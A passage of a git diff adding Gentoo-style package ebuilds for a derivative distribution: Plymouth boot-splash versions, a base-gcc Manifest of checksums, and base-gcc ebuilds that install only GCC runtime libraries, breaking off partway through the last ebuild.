+		Plymouth is an application that runs very early in the boot process
+		(even before the root filesystem is mounted!) that provides a graphical
+		boot animation while the boot process happens in the background.
+
+		It is designed to work on systems with DRM modesetting drivers. Ideally,
+		the goal is to get rid of all flicker during startup.  For systems that
+		don't have DRM mode settings drivers, plymouth falls back to text mode.
+	</longdescription>
+</pkgmetadata>
diff --git a/sys-boot/plymouth/plymouth-0.8.8-r2.ebuild b/sys-boot/plymouth/plymouth-0.8.8-r2.ebuild
new file mode 100644
index 00000000..0bbf50b1
--- /dev/null
+++ b/sys-boot/plymouth/plymouth-0.8.8-r2.ebuild
@@ -0,0 +1,80 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit autotools-utils systemd toolchain-funcs
+
+DESCRIPTION="Graphical boot animation (splash) and logger"
+HOMEPAGE="http://cgit.freedesktop.org/plymouth/"
+SRC_URI="http://www.freedesktop.org/software/plymouth/releases/${P}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~alpha ~amd64 ~arm ~ia64 ~ppc ~ppc64 ~sparc ~x86"
+IUSE_VIDEO_CARDS="video_cards_intel video_cards_radeon"
+IUSE="${IUSE_VIDEO_CARDS} debug gdm +gtk +libkms +openrc +pango static-libs systemd"
+
+CDEPEND=">=media-libs/libpng-1.2.16
+	gtk? ( dev-libs/glib
+	>=x11-libs/gtk+-2.12:2 )
+	libkms? ( x11-libs/libdrm[libkms] )
+	pango? ( >=x11-libs/pango-1.21 )
+	video_cards_intel? ( x11-libs/libdrm[video_cards_intel] )
+	video_cards_radeon? ( x11-libs/libdrm[video_cards_radeon] )
+	"
+DEPEND="${CDEPEND}
+	virtual/pkgconfig
+	"
+RDEPEND="${CDEPEND}
+	>=sys-kernel/dracut-008-r1[dracut_modules_plymouth]
+	openrc? ( sys-boot/plymouth-openrc-plugin !sys-apps/systemd )
+	>=x11-themes/rogentos-artwork-core-2
+	"
+
+DOCS=(AUTHORS README TODO)
+
+src_prepare() {
+	sed -i 's:/bin/systemd-tty-ask-password-agent:/usr/bin/systemd-tty-ask-password-agent:g' \
+		systemd-units/systemd-ask-password-plymouth.service.in || die \
+		'sed bin failed'
+	autotools-utils_src_prepare
+}
+
+src_configure() {
+	local myeconfargs=(
+		--with-system-root-install
+		--localstatedir=/var
+		$(use_enable debug tracing)
+		$(use_enable gtk gtk)
+		$(use_enable libkms)
+		$(use_enable pango)
+		$(use_enable gdm gdm-transition)
+		$(use_enable video_cards_intel libdrm_intel)
+		$(use_enable video_cards_radeon libdrm_radeon)
+		$(use_enable systemd systemd-integration)
+		)
+	autotools-utils_src_configure
+}
+
+src_install() {
+	autotools-utils_src_install
+
+	if use static-libs; then
+		mv "${D}/$(get_libdir)"/libply{,-splash-core}.a \
+			"${D}/usr/$(get_libdir)"/ || die 'mv *.a files failed'
+		gen_usr_ldscript libply.so libply-splash-core.so
+	fi
+
+	# Provided by kogaion-artwork-core
+	rm "${D}/usr/share/plymouth/bizcom.png"
+}
+
+pkg_postinst() {
+	elog "Follow instructions on"
+	elog ""
+	elog "  http://dev.gentoo.org/~aidecoe/doc/en/plymouth.xml"
+	elog ""
+	elog "to set up Plymouth."
+}
diff --git a/sys-boot/plymouth/plymouth-0.8.8-r4.ebuild b/sys-boot/plymouth/plymouth-0.8.8-r4.ebuild
new file mode 100644
index 00000000..3bca07d7
--- /dev/null
+++ b/sys-boot/plymouth/plymouth-0.8.8-r4.ebuild
@@ -0,0 +1,89 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit autotools-utils readme.gentoo systemd toolchain-funcs
+
+DESCRIPTION="Graphical boot animation (splash) and logger"
+HOMEPAGE="http://cgit.freedesktop.org/plymouth/"
+SRC_URI="http://www.freedesktop.org/software/plymouth/releases/${P}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~alpha amd64 ~arm ~ia64 ~ppc ~ppc64 ~sparc ~x86"
+IUSE_VIDEO_CARDS="video_cards_intel video_cards_radeon"
+IUSE="${IUSE_VIDEO_CARDS} debug gdm +gtk +libkms +pango static-libs"
+
+CDEPEND="
+	>=media-libs/libpng-1.2.16
+	gtk? (
+		dev-libs/glib:2
+		>=x11-libs/gtk+-2.12:2 )
+	libkms? ( x11-libs/libdrm[libkms] )
+	pango? ( >=x11-libs/pango-1.21 )
+	video_cards_intel? ( x11-libs/libdrm[video_cards_intel] )
+	video_cards_radeon? ( x11-libs/libdrm[video_cards_radeon] )
+"
+DEPEND="${CDEPEND}
+	virtual/pkgconfig
+"
+# Block due bug #383067
+RDEPEND="${CDEPEND}
+	virtual/udev
+	>=x11-themes/rogentos-artwork-core-1
+"
+
+DOC_CONTENTS="
+	Follow the following instructions to set up Plymouth:\n
+	http://dev.gentoo.org/~aidecoe/doc/en/plymouth.xml
+"
+
+src_prepare() {
+	sed -i 's:/bin/systemd-tty-ask-password-agent:/usr/bin/systemd-tty-ask-password-agent:g' \
+		systemd-units/systemd-ask-password-plymouth.service.in || die \
+		'ask-password sed failed'
+	sed -i 's:/bin/udevadm:/usr/bin/udevadm:g' \
+		systemd-units/plymouth-start.service.in || die 'udevadm sed failed'
+	autotools-utils_src_prepare
+}
+
+src_configure() {
+	local myeconfargs=(
+		--with-system-root-install=no
+		--localstatedir=/var
+		--without-rhgb-compat-link
+		--enable-systemd-integration
+		$(use_enable debug tracing)
+		$(use_enable gtk gtk)
+		$(use_enable libkms)
+		$(use_enable pango)
+		$(use_enable gdm gdm-transition)
+		$(use_enable video_cards_intel libdrm_intel)
+		$(use_enable video_cards_radeon libdrm_radeon)
+		)
+	autotools-utils_src_configure
+}
+
+src_install() {
+	autotools-utils_src_install
+
+	# Provided by rogentos-artwork-core
+	rm "${D}/usr/share/plymouth/bizcom.png"
+
+	# Install compatibility symlinks as some rdeps hardcode the paths
+	dosym /usr/bin/plymouth /bin/plymouth
+	dosym /usr/sbin/plymouth-set-default-theme /sbin/plymouth-set-default-theme
+	dosym /usr/sbin/plymouthd /sbin/plymouthd
+
+	readme.gentoo_create_doc
+}
+
+pkg_postinst() {
+	readme.gentoo_print_elog
+	if ! has_version "sys-kernel/dracut[dracut_modules_plymouth]" && ! has_version "sys-kernel/genkernel-next[plymouth]"; then
+		ewarn "If you want initramfs builder with plymouth support, please emerge"
+		ewarn "sys-kernel/dracut[dracut_modules_plymouth] or sys-kernel/genkernel-next[plymouth]."
+	fi
+}
diff --git a/sys-boot/plymouth/plymouth-0.8.9_pre2.ebuild b/sys-boot/plymouth/plymouth-0.8.9_pre2.ebuild
new file mode 100644
index 00000000..6e61dba9
--- /dev/null
+++ b/sys-boot/plymouth/plymouth-0.8.9_pre2.ebuild
@@ -0,0 +1,87 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+EGIT_REPO_URI="git://anongit.freedesktop.org/plymouth"
+EGIT_COMMIT="37d2e400d25e6b4716d77d26fb7d40de8a8c1a8a"
+AUTOTOOLS_AUTORECONF="true"
+
+inherit autotools-utils readme.gentoo systemd toolchain-funcs git-2
+
+DESCRIPTION="Graphical boot animation (splash) and logger"
+HOMEPAGE="http://cgit.freedesktop.org/plymouth/"
+SRC_URI=""
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="debug gdm +gtk +libkms +pango static-libs"
+
+CDEPEND="
+	>=media-libs/libpng-1.2.16
+	gtk? (
+		dev-libs/glib:2
+		>=x11-libs/gtk+-2.12:2 )
+	libkms? ( x11-libs/libdrm[libkms] )
+	pango? ( >=x11-libs/pango-1.21 )
+"
+DEPEND="${CDEPEND}
+	virtual/pkgconfig
+"
+RDEPEND="${CDEPEND}
+	virtual/udev
+	>=x11-themes/rogentos-artwork-core-1
+"
+
+DOC_CONTENTS="
+	Follow the following instructions to set up Plymouth:\n
+	http://dev.gentoo.org/~aidecoe/doc/en/plymouth.xml
+"
+
+src_prepare() {
+	# RogentOS: setup our default settings
+	epatch "${FILESDIR}/${PN}-rogentos-defaults.patch"
+
+	epatch_user
+
+	autotools-utils_src_prepare
+}
+
+src_configure() {
+	local myeconfargs=(
+		--with-system-root-install=no
+		--localstatedir=/var
+		--without-rhgb-compat-link
+		--enable-systemd-integration
+		$(use_enable debug tracing)
+		$(use_enable gtk gtk)
+		$(use_enable libkms drm)
+		$(use_enable pango)
+		$(use_enable gdm gdm-transition)
+		)
+	autotools-utils_src_configure
+}
+
+src_install() {
+	autotools-utils_src_install
+
+	# RogentOS: provided by rogentos-artwork-core
+	rm "${D}/usr/share/plymouth/bizcom.png"
+
+	# Install compatibility symlinks as some rdeps hardcode the paths
+	dosym /usr/bin/plymouth /bin/plymouth
+	dosym /usr/sbin/plymouth-set-default-theme /sbin/plymouth-set-default-theme
+	dosym /usr/sbin/plymouthd /sbin/plymouthd
+
+	readme.gentoo_create_doc
+}
+
+pkg_postinst() {
+	readme.gentoo_print_elog
+	if ! has_version "sys-kernel/dracut[dracut_modules_plymouth]" && ! has_version "sys-kernel/genkernel-next[plymouth]"; then
+		ewarn "If you want initramfs builder with plymouth support, please emerge"
+		ewarn "sys-kernel/dracut[dracut_modules_plymouth] or sys-kernel/genkernel-next[plymouth]."
+	fi
+}
diff --git a/sys-devel/base-gcc/Manifest b/sys-devel/base-gcc/Manifest
new file mode 100644
index 00000000..bb905ce5
--- /dev/null
+++ b/sys-devel/base-gcc/Manifest
@@ -0,0 +1,26 @@
+AUX awk/fixlafiles.awk 7807 RMD160 749402c9c0a0f1e8755067c0e001f69d73edb09f SHA1 5fc91ce11eb93e989ae64470dba602fe534ac409 SHA256 3cae4890a295adef50c6cf8a7e14d1be4e7a2356479c073e5c29433c3cdf9c5c
+AUX awk/fixlafiles.awk-no_gcc_la 8596 RMD160 d34279d732586514b220ec0d583c5e634b5d97ef SHA1 95f07ff4d6c3196e682371f02e6d2207d921a1b5 SHA256 91e36c29133b6ff854bc84acd6cd2e9d07be6eaa73ef9b23e4f7bc6371107fab
+AUX fix_libtool_files.sh 1735 RMD160 5035cd4a9995ea6207a8de95815921c3939395bd SHA1 57cd1babab4c6b142dd8cc58b36943442ff2af13 SHA256 b8d86b1db9453dff4c62b3467887bf1e04ecb483120185102122bda2581ed3f5
+AUX gcc-configure-LANG.patch 2052 RMD160 91f5b90600dfccb10c4e2308a5a1485275fdfeee SHA1 56ecd1d6f2e4bd0b35ac108be72a4f6f60212c38 SHA256 63de6d2dcfe14f21d147abeb1390405b9220c03f8e968f482d4b4c1cf279c88b
+AUX gcc-configure-texinfo.patch 337 RMD160 d0e872a9f0ccb5ab51d10f129acd7a19d76a7b75 SHA1 7e267fac540175ce848e563539db8c951cab557b SHA256 74b73a7ecec2d88889876b4db480cd173632f49d5396bb8e5b3c93673f9b5b98
+AUX gcc-spec-env.patch 1544 RMD160 1f7747546513a6d8e16bd82c2824969b9a739dfb SHA1 bdc2736377813da4046ceea77922620dd69d8658 SHA256 64b01f29fb853fee5ecda998b66eeaa7ec86ff1fc3b21432bfd69eb543c93e6a
+AUX mkinfodir 7324 RMD160 96bbe8860ae8c0a50db42fea01cc1c2216bd36c8 SHA1 3b8316da1a0fa94943e6b71be709827563af7058 SHA256 0565353e767e253207adb8b5c9be9ba215a628447e075a4dc7bb3183ed099d2a
+AUX pro-police-docs.patch 3287 RMD160 eef412d92bed145db05bffa3a3e54e2ba74ee50d SHA1 ca58eda97d80f3d51f4e383ad3053fcb13f7a91b SHA256 ec012aed77285545b9d993cba1bc5fdb402c8dc9a17040f48b8b354746ede627
+DIST ecj-4.5.jar 1470676 RMD160 d3f4da657f086b6423f74e93f001132f4855368a SHA1 58c1d79c64c8cd718550f32a932ccfde8d1e6449 SHA256 98fd128f1d374d9e42fd9d4836bdd249c6d511ebc6c0df17fbc1b9df96c3d781
+DIST gcc-4.4.3-specs-0.2.0.tar.bz2 2004 RMD160 0a013f95029a170eeea3cb6ccbfd65f64b66f465 SHA1 61bd3c13400772ec4d5d4fcee297e3d86adbd065 SHA256 f6c7cb99beead66dd4d06f7004c5731a9360330cbe878ce79792c618e008eed2
+DIST gcc-4.5.3-patches-1.1.tar.bz2 20627 RMD160 432101fa66d4be008b6a4c606aea98bd4ae217d3 SHA1 0272e461a5e511d9998085f2b6387d917a151a17 SHA256 171348adbdbf3eeb26f47be414a47591eb332271995a052ef57fccb5742361ec
+DIST gcc-4.5.3-piepatches-v0.4.7.tar.bz2 14638 RMD160 3976e2390acb6d0ada68b697150522fa4bc67682 SHA1 326d230873059c635daf8120afeaeeef1bd3cd52 SHA256 fe3414a85b6b0a1e4ff758c008bbefc7411148ccb9af70cb1a0af179eba55a32
+DIST gcc-4.5.3-uclibc-patches-1.0.tar.bz2 3015 RMD160 af8fad2ca0a948f25bff2b4f4f9868a99c7ceae7 SHA1 679698942814c9b3caaa5d220d672c87df50fa26 SHA256 7ddb8ac57b42c0de07a9afb3338c05d884da3c606f80cf21ee767f9c4682e3f6
+DIST gcc-4.5.3.tar.bz2 66374586 RMD160 d07aa90f2186b4e082dfd5ad5d5188c097fb6247 SHA1 73c45dfda5eef6b124be53e56828b5925198cc1b SHA256 0a8847af44a9b33813b199997a73139517c96adfd519eaf24c79d4d9d09f65de
+DIST gcc-4.6.2-patches-1.0.tar.bz2 12374 RMD160 84aa2e55a8762e2d38161943e1661fd7a89683a8 SHA1 582f0c4bf7b734bb5798b0b8b9deac898557789d SHA256 a6fd308469094095891ba003b9c3c2d4c8bf35713df987609b675f04a43e83df
+DIST gcc-4.6.2-piepatches-v0.4.5.tar.bz2 14156 RMD160 101546367ae798f9080d111e4f9ccc0914ec74c8 SHA1 2ad14aa580d65cbc7dd35b5d05977890e9fb1679 SHA256 a18bea1bc2cad2efde5481a5777a97cf539d206dcbca33758d56d7fbdb43a554
+DIST gcc-4.6.2-uclibc-patches-1.0.tar.bz2 3019 RMD160 7e991775c15d4126bd8d85aceb677c675559606f SHA1 0d316aaf94966cc52b1582282723a932ac065639 SHA256 25e902a6d2db7181394df5ad11fafaad064bf28a6ffebd889033f744613ac201
+DIST gcc-4.6.2.tar.bz2 71995338 RMD160 e7041933b39629f9524848dcf81a1a4c02a225c6 SHA1 691974613b1c1f15ed0182ec539fa54a12dd6f93 SHA256 60b05463dfe18d40d68fb8a71b25b408a01f86cc6ceaf5e6b22238b6b0f450c2
+DIST gcc-4.6.3-patches-1.3.tar.bz2 83071 RMD160 4e8c94ce83421ed1138439f946321763803b3157 SHA1 b05f96f1741828fb13ca23f0bd057223de1908ab SHA256 0acc8494932259dbadc118587626bb2505fc565e1a862bb792116e08961c141a
+DIST gcc-4.6.3-piepatches-v0.5.2.tar.bz2 15002 RMD160 75f25287ded26fd8ae88516b0b72d21fc0f17296 SHA1 8a1848819bc9c3e00513e68abded115410f25f78 SHA256 6606d47a8bbaa9cba0dd3b022cbf6ed14325b8560dd17f7601dbaa4697df3691
+DIST gcc-4.6.3-uclibc-patches-1.0.tar.bz2 3023 RMD160 6487e89d892687c51f4d764979c90133ae4c0a07 SHA1 26581caab046ba4a03041557db641f2899d518af SHA256 4219a3582c5f98bf8437bfc3feb8c264f8aabd8078caaddef46dd38be33f089f
+DIST gcc-4.6.3.tar.bz2 71999439 RMD160 9abb2f940d08fc84f2d91b6a6ce8d662ca889269 SHA1 ce317ca5c8185b58bc9300182b534608c578637f SHA256 e8f5853d4eec2f5ebaf8a72ae4d53c436aacf98153b2499f8635b48c4718a093
+EBUILD base-gcc-4.5.3-r2.ebuild 4481 RMD160 253e913d84ea216f1f6f4ce6ba22db93b0158eab SHA1 fae5c11e489e17b4a3c8eeb19dad7a253d8ac259 SHA256 c3a139f9d4f8a96f96b50921ffd5aff131e949807dcad60480d883721cfcffff
+EBUILD base-gcc-4.6.2.ebuild 4605 RMD160 b49258fd5e27cd84a2ea7b4ad0202daacd3f611a SHA1 fc5db91c140f26c995caf709239104f9460c92bc SHA256 ccd02cc3a9d6c8bac9ae9ee294c0744bc5173b92007d96b6bd9d0836225e7b1a
+EBUILD base-gcc-4.6.3.ebuild 5972 RMD160 77181ebd015794f73c04aac7dd6e0f97f8618bee SHA1 889e2eefe229c4e3c51762065e3375ad7e4943a5 SHA256 5550e6d45454b2396704b0dfae3dbb856c4ef8fefe79492d5111192f9b226ee7
+MISC metadata.xml 1780 RMD160 0fa658c47436e17235cd03b5a9a3cbd8448e474b SHA1 127adff4704c040ee42d43bd9ea8218b408203cf SHA256 57d7428c3d0ef34e72e780a3cfa7a059202b5c80f2d61cc12f90f0d1e8f5f12e
diff --git a/sys-devel/base-gcc/base-gcc-4.5.3-r2.ebuild b/sys-devel/base-gcc/base-gcc-4.5.3-r2.ebuild
new file mode 100644
index 00000000..1b3ecc74
--- /dev/null
+++ b/sys-devel/base-gcc/base-gcc-4.5.3-r2.ebuild
@@ -0,0 +1,176 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+PATCH_VER="1.1"
+UCLIBC_VER="1.0"
+
+# Hardened gcc 4 stuff
+PIE_VER="0.4.7"
+SPECS_VER="0.2.0"
+SPECS_GCC_VER="4.4.3"
+# arch/libc configurations known to be stable with {PIE,SSP}-by-default
+PIE_GLIBC_STABLE="x86 amd64 ppc ppc64 arm ia64"
+PIE_UCLIBC_STABLE="x86 arm amd64 ppc ppc64"
+SSP_STABLE="amd64 x86 ppc ppc64 arm"
+# uclibc need tls and nptl support for SSP support
+SSP_UCLIBC_STABLE=""
+#end Hardened stuff
+
+inherit toolchain
+
+DESCRIPTION="The GNU Compiler Collection"
+
+LICENSE="GPL-3 LGPL-3 || ( GPL-3 libgcc libstdc++ gcc-runtime-library-exception-3.1 ) FDL-1.2"
+KEYWORDS="alpha amd64 arm hppa ia64 ~m68k ~mips ppc ppc64 s390 sh sparc x86 ~x86-fbsd"
+
+RDEPEND=">=sys-libs/zlib-1.1.4
+	>=sys-devel/gcc-config-1.4
+	virtual/libiconv
+	>=dev-libs/gmp-4.3.2
+	>=dev-libs/mpfr-2.4.2
+	>=dev-libs/mpc-0.8.1
+	graphite? (
+		>=dev-libs/ppl-0.10
+		>=dev-libs/cloog-ppl-0.15.8
+	)
+	lto? ( || ( >=dev-libs/elfutils-0.143 dev-libs/libelf ) )
+	!build? (
+		>=sys-libs/ncurses-5.2-r2
+		nls? ( sys-devel/gettext )
+	)"
+
+DEPEND="${RDEPEND}
+	test? ( >=dev-util/dejagnu-1.4.4 >=sys-devel/autogen-5.5.4 )
+	>=sys-apps/texinfo-4.8
+	>=sys-devel/bison-1.875
+	elibc_glibc? ( >=sys-libs/glibc-2.8 )
+	ppc? ( >=${CATEGORY}/binutils-2.17 )
+	ppc64? ( >=${CATEGORY}/binutils-2.17 )
+	>=${CATEGORY}/binutils-2.15.94"
+PDEPEND=">=sys-devel/gcc-config-1.4"
+
+## No changes
+src_unpack() {
+	toolchain_src_unpack
+
+	use vanilla && return 0
+
+	sed -i 's/use_fixproto=yes/:/' gcc/config.gcc #PR33200
+
+	[[ ${CHOST} == ${CTARGET} ]] && epatch "${FILESDIR}"/gcc-spec-env.patch
+}
+
+## Remove lto conditional
+pkg_setup() {
+	toolchain_pkg_setup
+}
+
+## Just install libgcc stuff
+src_install() {
+	cd "${WORKDIR}/build"
+	S="${WORKDIR}"/build \
+		emake -j1 -C "${CTARGET}/libgcc" DESTDIR="${D}" install-shared || die
+	if use multilib; then
+		S="${WORKDIR}"/build emake -j1 -C "${CTARGET}/32/libgcc" DESTDIR="${D}" \
+			install-shared || die
+	fi
+
+	if use mudflap; then
+		S="${WORKDIR}"/build emake -j1 -C "${CTARGET}/libmudflap" DESTDIR="${D}" \
+			install-toolexeclibLTLIBRARIES || die
+		if use multilib; then
+			S="${WORKDIR}"/build emake -j1 -C "${CTARGET}/32/libmudflap" DESTDIR="${D}" \
+				install-toolexeclibLTLIBRARIES || die
+		fi
+	fi
+
+	if use openmp; then
+		S="${WORKDIR}"/build emake -j1 -C "${CTARGET}/libgomp" DESTDIR="${D}" \
+			install-toolexeclibLTLIBRARIES || die
+		if use multilib; then
+			S="${WORKDIR}"/build emake -j1 -C "${CTARGET}/32/libgomp" DESTDIR="${D}" \
+				install-toolexeclibLTLIBRARIES || die
+		fi
+	fi
+
+	S="${WORKDIR}"/build \
+		emake -j1 -C "${CTARGET}/libstdc++-v3/src" DESTDIR="${D}" \
+		install-toolexeclibLTLIBRARIES || die
+	if use multilib; then
+		S="${WORKDIR}"/build emake -j1 -C "${CTARGET}/32/libstdc++-v3/src" DESTDIR="${D}" \
+			install-toolexeclibLTLIBRARIES || die
+	fi
+
+
+	S="${WORKDIR}"/build emake -j1 -C "${CTARGET}/libstdc++-v3/po" DESTDIR="${D}" install || die
+	S="${WORKDIR}"/build emake -j1 -C "${CTARGET}/libgomp" DESTDIR="${D}" install-info || die
+
+	# GCC 4.6 only
+	#S="${WORKDIR}"/build emake -j1 DESTDIR="${D}" install-target-libquadmath || die
+	if use fortran; then
+		S="${WORKDIR}"/build emake -j1 DESTDIR="${D}" install-target-libgfortran || die
+	fi
+	# TODO: what to do with USE objc++ and objc-gc ?
+	if use objc; then
+		S="${WORKDIR}"/build emake -j1 DESTDIR="${D}" install-target-libobjc || die
+	fi
+
+	# from toolchain.eclass yay
+	gcc_movelibs
+
+	dodir /etc/env.d/gcc
+	create_gcc_env_entry
+
+	# Setup the gcc_env_entry for hardened gcc 4 with minispecs
+	if want_minispecs ; then
+		copy_minispecs_gcc_specs
+	fi
+
+	# drop any .la, .a
+	find "${D}" -name *.a -delete
+	find "${D}" -name *.la -delete
+
+	# drop any include
+	rm "${D}${LIBPATH}"/include -rf
+
+	# drop specs as well, provided by sys-devel/gcc-${PV}:${SLOT}
+	# unfortunately, the spec shit above does create the env.d/
+	# file content...
+	rm "${D}${LIBPATH}"/{32/,}*.spec{s,} -rf
+	rm "${D}${LIBPATH}"/specs -rf
+
+	# Now do the fun stripping stuff
+	env RESTRICT="" CHOST=${CTARGET} prepstrip "${D}${LIBPATH}"
+
+	cd "${S}"
+	if ! is_crosscompile; then
+		has noinfo ${FEATURES} \
+			&& rm -r "${D}/${DATAPATH}"/info \
+			|| prepinfo "${DATAPATH}"
+	fi
+
+	# use gid of 0 because some stupid ports don't have
+	# the group 'root' set to gid 0
+	chown -R root:0 "${D}"${LIBPATH}
+}
+
+## Do nothing!
+pkg_preinst() {
+	:
+}
+
+## Do nothing!
+pkg_postinst() {
+	:
+}
+
+## Do nothing!
+pkg_prerm() {
+	:
+}
+
+## Do nothing!
+pkg_postrm() {
+	:
+}
diff --git a/sys-devel/base-gcc/base-gcc-4.6.2.ebuild b/sys-devel/base-gcc/base-gcc-4.6.2.ebuild
new file mode 100644
index 00000000..4dade5d1
--- /dev/null
+++ b/sys-devel/base-gcc/base-gcc-4.6.2.ebuild
@@ -0,0 +1,184 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+PATCH_VER="1.0"
+UCLIBC_VER="1.0"
+
+# Hardened gcc 4 stuff
+PIE_VER="0.4.5"
+SPECS_VER="0.2.0"
+SPECS_GCC_VER="4.4.3"
+# arch/libc configurations known to be stable with {PIE,SSP}-by-default
+PIE_GLIBC_STABLE="x86 amd64 ppc ppc64 arm ia64"
+PIE_UCLIBC_STABLE="x86 arm amd64 ppc ppc64"
+SSP_STABLE="amd64 x86 ppc ppc64 arm"
+# uclibc need tls and nptl support for SSP support
+SSP_UCLIBC_STABLE=""
+#end Hardened stuff
+
+inherit eutils toolchain
+
+# This is here to redeclare is_gcc() in toolchain.eclass
+# We don't even want to build gcj, which is a real hog
+# on memory constrained hardware. base-gcc doesn't actually
+# ship with it atm.
+is_gcj() {
+       return 1
+}
+
+DESCRIPTION="The GNU Compiler Collection"
+
+LICENSE="GPL-3 LGPL-3 || ( GPL-3 libgcc libstdc++ gcc-runtime-library-exception-3.1 ) FDL-1.2"
+KEYWORDS="alpha amd64 arm hppa ia64 ~m68k ~mips ppc ppc64 s390 sh sparc x86 ~x86-fbsd"
+
+RDEPEND=">=sys-libs/zlib-1.1.4
+	virtual/libiconv
+	>=dev-libs/gmp-4.3.2
+	>=dev-libs/mpfr-2.4.2
+	>=dev-libs/mpc-0.8.1
+	graphite? (
+		>=dev-libs/cloog-ppl-0.15.10
+		>=dev-libs/ppl-0.11
+	)
+	!build? (
+		nls? ( sys-devel/gettext )
+	)"
+
+DEPEND="${RDEPEND}
+	test? (
+		>=dev-util/dejagnu-1.4.4
+		>=sys-devel/autogen-5.5.4
+	)
+	>=sys-apps/texinfo-4.8
+	>=sys-devel/bison-1.875
+	>=sys-devel/flex-2.5.4
+	>=${CATEGORY}/binutils-2.18"
+PDEPEND=">=sys-devel/gcc-config-1.4
+	go? ( >=sys-devel/gcc-config-1.5 )"
+
+## No changes
+src_unpack() {
+	toolchain_src_unpack
+
+	use vanilla && return 0
+
+	[[ ${CHOST} == ${CTARGET} ]] && epatch "${FILESDIR}"/gcc-spec-env.patch
+}
+
+## Remove lto conditional
+pkg_setup() {
+	toolchain_pkg_setup
+
+	ewarn
+	ewarn "LTO support is still experimental and unstable."
+	ewarn "Any bugs resulting from the use of LTO will not be fixed."
+	ewarn
+}
+
+## Just install libgcc stuff
+src_install() {
+	cd "${WORKDIR}/build"
+	S="${WORKDIR}"/build \
+		emake -j1 -C "${CTARGET}/libgcc" DESTDIR="${D}" install-shared || die
+	if use multilib; then
+		S="${WORKDIR}"/build emake -j1 -C "${CTARGET}/32/libgcc" DESTDIR="${D}" \
+			install-shared || die
+	fi
+
+	if use mudflap; then
+		S="${WORKDIR}"/build emake -j1 -C "${CTARGET}/libmudflap" DESTDIR="${D}" \
+			install-toolexeclibLTLIBRARIES || die
+		if use multilib; then
+			S="${WORKDIR}"/build emake -j1 -C "${CTARGET}/32/libmudflap" DESTDIR="${D}" \
+				install-toolexeclibLTLIBRARIES || die
+		fi
+	fi
+
+	if use openmp; then
+		S="${WORKDIR}"/build emake -j1 -C "${CTARGET}/libgomp" DESTDIR="${D}" \
+			install-toolexeclibLTLIBRARIES || die
+		if use multilib; then
+			S="${WORKDIR}"/build emake -j1 -C "${CTARGET}/32/libgomp" DESTDIR="${D}" \
+				install-toolexeclibLTLIBRARIES || die
+		fi
+	fi
+
+	S="${WORKDIR}"/build \
+		emake -j1 -C "${CTARGET}/libstdc++-v3/src" DESTDIR="${D}" \
+		install-toolexeclibLTLIBRARIES || die
+	if use multilib; then
+		S="${WORKDIR}"/build emake -j1 -C "${CTARGET}/32/libstdc++-v3/src" DESTDIR="${D}" \
+			install-toolexeclibLTLIBRARIES || die
+	fi
+
+
+	S="${WORKDIR}"/build emake -j1 -C "${CTARGET}/libstdc++-v3/po" DESTDIR="${D}" install || die
+	S="${WORKDIR}"/build emake -j1 -C "${CTARGET}/libgomp" DESTDIR="${D}" install-info || die
+
+	S="${WORKDIR}"/build emake -j1 DESTDIR="${D}" install-target-libquadmath || die
+	if use fortran; then
+		S="${WORKDIR}"/build emake -j1 DESTDIR="${D}" install-target-libgfortran || die
+	fi
+	# TODO: what to do with USE objc++ and objc-gc ?
+	if use objc; then
+		S="${WORKDIR}"/build emake -j1 DESTDIR="${D}" install-target-libobjc || die
+	fi
+
+	# from toolchain.eclass yay
+	gcc_movelibs
+
+	dodir /etc/env.d/gcc
+	create_gcc_env_entry
+
+	# Setup the gcc_env_entry for hardened gcc 4 with minispecs
+	if want_minispecs ; then
+		copy_minispecs_gcc_specs
+	fi
+
+	# drop any .la, .a
+	find "${D}" -name *.a -delete
+	find "${D}" -name *.la -delete
+
+	# drop any include
+	rm "${D}${LIBPATH}"/include -rf
+	# drop specs as well, provided by sys-devel/gcc-${PV}:${SLOT}
+	# unfortunately, the spec shit above does create the env.d/
+	# file content...
+	rm "${D}${LIBPATH}"/{32/,}*.spec{s,} -rf
+	rm "${D}${LIBPATH}"/specs -rf
+
+	# Now do the fun stripping stuff
+	env RESTRICT="" CHOST=${CTARGET} prepstrip "${D}${LIBPATH}"
+
+	cd "${S}"
+	if ! is_crosscompile; then
+		has noinfo ${FEATURES} \
+			&& rm -r "${D}/${DATAPATH}"/info \
+			|| prepinfo "${DATAPATH}"
+	fi
+
+	# use gid of 0 because some stupid ports don't have
+	# the group 'root' set to gid 0
+	chown -R root:0 "${D}"${LIBPATH}
+}
+
+## Do nothing!
+pkg_preinst() {
+	:
+}
+
+## Do nothing!
+pkg_postinst() {
+	:
+}
+
+## Do nothing!
+pkg_prerm() {
+	:
+}
+
+## Do nothing!
+pkg_postrm() {
+	:
+}
diff --git a/sys-devel/base-gcc/base-gcc-4.6.3.ebuild b/sys-devel/base-gcc/base-gcc-4.6.3.ebuild
new file mode 100644
index 00000000..51b07d01
--- /dev/null
+++ b/sys-devel/base-gcc/base-gcc-4.6.3.ebuild
@@ -0,0 +1,210 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+PATCH_VER="1.3"
+UCLIBC_VER="1.0"
+
+# Hardened gcc 4 stuff
+PIE_VER="0.5.2"
+SPECS_VER="0.2.0"
+SPECS_GCC_VER="4.4.3"
+# arch/libc configurations known to be stable with {PIE,SSP}-by-default
+PIE_GLIBC_STABLE="x86 amd64 mips ppc ppc64 arm ia64"
+PIE_UCLIBC_STABLE="x86 arm amd64 ppc ppc64"
+SSP_STABLE="amd64 x86 mips ppc ppc64 arm"
+# uclibc need tls and nptl support for SSP support
+# uclibc need to be >= 0.9.32
+SSP_UCLIBC_STABLE="x86 amd64 ppc ppc64 arm"
